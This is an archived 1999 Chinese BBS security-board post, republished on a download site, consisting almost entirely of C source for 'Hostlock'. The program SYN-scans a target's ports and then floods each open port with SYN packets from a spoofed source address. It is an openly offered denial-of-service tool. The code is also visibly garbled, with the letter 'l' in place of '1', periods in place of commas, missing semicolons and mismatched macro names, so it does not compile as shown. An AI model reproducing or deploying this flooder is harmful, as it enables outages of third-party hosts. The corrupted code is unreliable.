⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 353.htm

📁 unix高级编程原吗
💻 HTM
字号:
🔍 
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="343.htm">上一层</a>][<a href="354.htm">下一篇</a>]
<hr><p align="left"><small>发信人: biff (大可), 信区: Security <br>

标  题: syn.c <br>

发信站: 武汉白云黄鹤站 (Sun Jun 13 14:44:14 1999), 站内信件 <br>

  <br>

  <br>

#include <stdio.h> <br>

#include <stdlib.h> <br>

#include <string.h> <br>

#include <unistd.h> <br>

  <br>

#include <sys/types.h> <br>

#include <sys/socket.h> <br>

  <br>

#include <netinet/in.h> <br>

#include <netinet/in_systm.h> <br>

#include <netinet/ip.h> <br>

#include <netinet/tcp.h> <br>

#include <netinet/protocols.h> <br>

  <br>

#include <arpa/inet.h> <br>

#include <netdb.h> <br>

  <br>

#define PACKET_SIZE sizeof(struct tcppkt) <br>



  <br>

/* Configurable defaults. These are specifiable via the command line. */ <br>

#define  DEF_BADDF   "l32.45.6.8" <br>

#define  DEF_SYNS    32 <br>

#define  DEF_MAX     32768                /* (See Accompanying Table) */ <br>

#define  DEF_LOW <br>

  <br>

struct tcppkt { <br>

  struct iphdr ip; <br>

  struct tcphdr tcp; <br>

}; <br>

  <br>

unsigned short ports[DEF_MAX]; <br>

  <br>

void <br>

usage(progname) <br>

  char *progname; <br>

{ <br>

  fprintf(stderr, "Hostlock v.0l\n"); <br>

  fprintf(stderr, "Usage: %s <Target> [options]\n", progname); <br>

  fprintf(stderr, "Options:\n\ <br>

-b [addr]\tAddress from which the SYNflood packets should appear to be.\n\ <br>



\t\tThis address should have correct routing records, but not exlst.\n\ <br>

-l [port]\tPort to begin scanning from.\n\ <br>

-h [port]\tPort to end scanning on.\n\ <br>

-d [port]\tSpecific port to flood.\n\ <br>

-n [syns]\tNumber of SYN packets to flood with.\n"); <br>

  <br>

  exit(1); <br>

} <br>

  <br>

unsigned long <br>

resolve(host) <br>

  char *host; <br>

{ <br>

  struct hostent *he; <br>

  u_long addr; <br>

  <br>

  if( (he = gethostbyname(host)) == NULL)  { <br>

      addr = inet_addr(host); <br>

  } else { <br>

    bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list)); <br>

  } <br>

   return(addr); <br>



} <br>

  <br>

/* From ping.c */ <br>

/* <br>

 *in cksum - <br>

 * Checksum routine for Internet Protocol family headers (C Version) <br>

 */ <br>

unsigned short in_cksum(addr, len) <br>

    u_short *addr <br>

    int len; <br>

{ <br>

    register int nleft = len; <br>

    register u_short *w = addr; <br>

    register int sum = 0; <br>

    u_short answer = 0; <br>

  <br>

    while (nleft > l)  { <br>

        sum += *w++; <br>

        nleft -= 2; <br>

    } <br>

  <br>

    if (nleft == l) { <br>



        *(u_char *)(&answer) = *(u_char *)w ; <br>

        sum += answer; <br>

    } <br>

  <br>

    sum = (sum >> l6) + (sum & 0xffff); <br>

    sum += (sum >> l6); <br>

    answer = -sum; <br>

    return(answer); <br>

} <br>

  <br>

int <br>

sendsyn(sin, s, saddr, sport, seq) <br>

  struct  sockaddr_in *sin; <br>

  u_long  saddr, seq; <br>

  u_short sport; <br>

  int     s; <br>

{ <br>

  register struct  iphdr *ip; <br>

  register struct  tcphdr *tcp; <br>

  register char    *php; <br>

  static   char    packet[PACKET_SIZE]; <br>

  static   char    phead[PACKET_SIZE + l2]; <br>



  u_short len      = 0; <br>

  <br>

  /* Overlay IP header structure onto packet. */ <br>

  ip           = (struct iphdr *)packet; <br>

  <br>

  /* Fill in IP Header values. */ <br>

  ip->ihl      = 5; <br>

  ip->version  = 4; <br>

  ip->tos      = 0; <br>

  ip->tot_len  = htons(PACKET_SIZE) <br>

  ip->id       = htons(2600 + (rand()%32768)); <br>

  ip->frag_off = 0; <br>

  ip->ttl      = 255; <br>

  ip->protocol = IPPROTO_TCP; <br>

  ip->check    = 0; <br>

  ip->saddr    = saddr; <br>

  ip->daddr    = sin->sin_addr.s_addr; <br>

  <br>

/*  The Linux kernel automatically checksums outgoing raw packets. <br>

 *  however, other implementations might not, so if you are porting, <br>

 *  remember to uncomment this line. <br>

 *  ip->check    = in_cksum((char *)&ip, sizeof(struct iphdr)); <br>



 */ <br>

  <br>

  /* Overlay TCP Header structure onto packet. */ <br>

  <br>

  tcp          = (struct tcphdr *)(packet + sizeof(struct iphdr)); <br>

  <br>

  /* Fill in TCP Header values. */ <br>

  tcp->th_sport = htons (sport); <br>

  tcp->th_dport = htons (sin->sin_port); <br>

  tcp->th_seq   = htonl(seq); <br>

  tcp->th_ack   = 0; <br>

  tcp->th_x2    = 0; <br>

  tcp->th_off   = 5; <br>

  tcp->th_flags = TH_SYN; <br>

  tcp->th_win   = htons(l0052); <br>

  tcp->th_sum   = 0; <br>

  tcp->th_urp   = 0; <br>

  <br>

  php = phead; <br>

  memset(php, 0, PACKET_SIZE + l2); <br>

  memcpy(php, &(ip->saddr), 8); <br>

  php += 9; <br>

  php += 9; <br>

  memcpy(php, &(ip->protocol), l); <br>

  len = htons(sizeof(struct tcphdr)); <br>

  memcpy(++php, &(len), 2); <br>

  php += 2; <br>

  memcpy(php, tcp. sizeof(struct tcphdr)); <br>

  <br>

  /* Now fill in the checksum. */ <br>

  tcp->th_sum = in_cksum(php, sizeof(struct tcphdr)+l2); <br>

  <br>

  /* And send... */ <br>

  return(sendto(s, packet, PACKET_SIZE, 0, (struct sockaddr *)sin <br>

         sizeof(struct sockaddr_in))); <br>

} <br>

  <br>

int <br>

synscan(saddr, sport, lo, hi, s, r, sin) <br>

  u_long  saddr; <br>

  u_short sport, lo, hi; <br>

  int     s, r; <br>

  struct  sockaddr_in *sin; <br>

{ <br>

  struct  tcppkt buf; <br>



  int     i, total = 0; <br>

  <br>

  for(i = lo ; i <= hi ; i++) { <br>

    sin->sin_port = i; <br>

    if( (sendsyn(sin, s, saddr, sport, 3l337)) == -l) { <br>

      perror("Error sending SYN packet"); <br>

      exit(l); <br>

    } <br>

  <br>

    for(;;) { <br>

      memset(&buf, 0, PACKET_SIZE); <br>

      read(r, &buf, PACKET_SIZE); <br>

      /* Is it from our target? */ <br>

      if( buf.ip.saddr != sin->sin_addr.s_addr ) continue; <br>

  <br>

      /* Sequence number ok? */ <br>

      if( (ntohl(buf.tcp.th_ack) != 3l338) && <br>

          (ntohl(buf.tcp.th_ack) != 3l337)) continue; <br>

  <br>

      /* RST/ACK - No service listening on port. */ <br>

      if( (buf.tcp.th_flags & TH_RST) && <br>

          (buf.tcp.th flags & TH_ACK)) break; <br>



  <br>

      /* SYN/ACK - Service listening on port. */ <br>

      if( (buf.tcp.th_flags & TH_ACK) && <br>

          (buf.tcp.th_flags & TH_SYN)) { <br>

      ports[total] = ntohs(buf.tcp.th_sport); <br>

      printf("%d\n", ports[total++]); <br>

      fflush(stdout); <br>

          break; <br>

  <br>

      } <br>

  <br>

    } /* for(;;) */ <br>

  } <br>

  return(total); <br>

} <br>

  <br>

void <br>

synflood(baddr, bport, s. numsyns, sin) <br>

  u_long  baddr; <br>

  u_short bport, numsyns; <br>

  int     s; <br>

  struct  sockaddr_in *sin; <br>



{ <br>

  int i; <br>

  <br>

  printf("%d", sin->sin_port); <br>

  fflush(stdout); <br>

  <br>

  for(i = 0 ; i < numsyns ; i++) { <br>

    usleep(30); <br>

    if( (sendsyn(sin, s. baddr, bport++, 3l337)) == -l) { <br>

        perror("Error sending SYN packet"); <br>

        exit(l); <br>

    } <br>

    printf(","); <br>

    fflush(stdout); <br>

  } <br>

  printf("\n"); <br>

} <br>

  <br>

void <br>

main(argc, argv) <br>

  int    argv; <br>

  char **argv; <br>

  char **argv; <br>

{ <br>

  struct  sockaddr_in sin; <br>

  u_long  saddr, daddr, baddr; <br>

  u_short i, numsyns, lo, hi; <br>

  u_short sport = 2600, bport = 2600; <br>

  char    buf[256]; <br>

  int     s, r, total; <br>

  <br>

  total = numsyns = lo = hi = baddr = 0; <br>

  <br>

  /* Minimum usage is "hostlock <target>" */ <br>

  if(argc < 2) usage(argv[0]); <br>

  <br>

  if( (daddr = resolve(argv[l])) == -l) { <br>

    fprintf(stderr, "Bad hostname/ip address: %s\n", argv[l]); <br>

    usage(argv[0]); <br>

  } <br>

  <br>

  for(i = 2 ; i < argc ; i ++) { <br>

    switch(argv[i][l]) { <br>

      case 'b': case 'B': <br>

        if( (baddr = inet_addr(argv[++i])) == -l) { <br>



          fprintf(stderr, "Bad hostname/ip address: %s\n", argv[l]); <br>

          fprintf(stderr, "Defaulting to %s...\n", (DEF_BADDR); <br>

          baddr    = inet_addr(DEF_BADDR); <br>

        } <br>

        break; <br>

      case 'l': case 'L': <br>

        lo = atoi(argv[++i]); <br>

        break; <br>

      case 'h': case 'H': <br>

        hi = atoi(argv[++i]); <br>

        break; <br>

      case 'd': case 'D': <br>

        hi = lo = atoi(argv[++i]); <br>

        break; <br>

      case 'n': case 'N': <br>

        numsyns = atoi(argv[++i]); <br>

        break; <br>

      default: <br>

        fprintf(stderr, "Unknown option: -%c\n", argv[i][l]); <br>

        usage(argv[0]); <br>

        break; <br>

    } <br>

    } <br>

  } <br>

  <br>

  /* Institute defaults if these options have not been specified. */ <br>

  if(!numsyns) numsyns = DEF_SYNS; <br>

  if(!lo)      lo      = DEF_LOW; <br>

  if(!hi)      hi      = DEF MAX; <br>

  if(!baddr)   baddr   = inet_addr(DEF_BADDR); <br>

  <br>

  /* Fill in our sockaddr_in structure. */ <br>

  sin.sin_family       = PF_INET; <br>

  sin.sin addr.s_addr  = daddr; <br>

  sin.sin port         = 0; <br>

  <br>

  if( (gethostname(buf. 256)) == -l) { <br>

    perror("Unable to get our hostname"); <br>

    exit(l); <br>

  } <br>

  <br>

  if( (saddr = resolve(buf)) == -l) { <br>

    perror("Unable to resolve our hostname"); <br>

    exit(l); <br>

  } <br>

  } <br>

  <br>

  /* Open our sending and receiving sockets. */ <br>

  if( (s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { <br>

    perror("Unable to open a raw socket"); <br>

    exit(l); <br>

  } <br>

  <br>

  if( (r = socket(PF_INET, SOCK RAW, IPPROTO_TCP)) < 0) { <br>

    perror("Unable to open a raw socket"); <br>

    exit(l); <br>

  } <br>

  <br>

  printf("Performing hostlock on %s ports %d to %d. \n", <br>

    inet_ntoa(sin.sin_addr), lo, hi); <br>

  <br>

  /* Scan. */ <br>

  printf("Scanning...\n"); <br>

  fflush(stdout); <br>

  total = synscan(saddr, sport, lo. hi, s, r, &sin); <br>

  <br>

  printf("Scan completed.  %d receiving ports found.\n", total); <br>

  printf("Flooding ports with %d SYNs each...\n", numsyns); <br>



  fflush(stdout); <br>

  /* Flood. */ <br>

  if( total ) { <br>

    for(i = 0 ; i < total ; i++) { <br>

      sin.sin port = ports[i]; <br>

      synflood(baddr, bport, s, numsyns, &sin); <br>

    } <br>

  } <br>

  printf("Hostlock completed.  Exiting.\n"); <br>

  exit(0); <br>

} <br>

-- <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="343.htm">上一层</a>][<a href="354.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -